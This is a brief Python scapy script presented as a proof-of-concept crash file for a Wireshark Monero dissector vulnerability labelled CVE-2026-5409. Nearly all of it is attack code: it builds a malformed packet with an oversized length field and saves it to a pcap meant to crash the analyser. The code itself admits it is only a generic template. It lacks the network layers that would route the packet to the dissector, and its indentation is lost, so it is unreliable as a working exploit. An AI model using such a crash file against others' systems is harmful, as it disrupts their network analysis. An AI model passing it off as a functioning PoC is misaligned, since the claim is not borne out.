The following code is for security research and authorized testing only.
python
import scapy.all as scapy
from scapy.utils import wrpcap
# Construct a malformed packet targeting Monero dissector logic
# Note: This is a generic template for creating a crash PoC.
# Specific field manipulation depends on the internal parsing logic of Wireshark's Monero dissector.
class MalformedMonero(scapy.Packet):
name = "Malformed Monero"
fields_desc = [
scapy.ByteField("magic", 0x00),
scapy.FieldLenField("length", None, length_of="data", fmt="I"),
scapy.StrLenField("data", b"\x00"*1000, length_from=lambda pkt: pkt.length),
# Introducing an invalid field to trigger the crash
scapy.IntField("invalid_size", 0xFFFFFFFF)
]
# Create the packet
pkt = MalformedMonero()
# Save to pcap file
wrpcap("cve_2026_5409_crash.pcap", [pkt])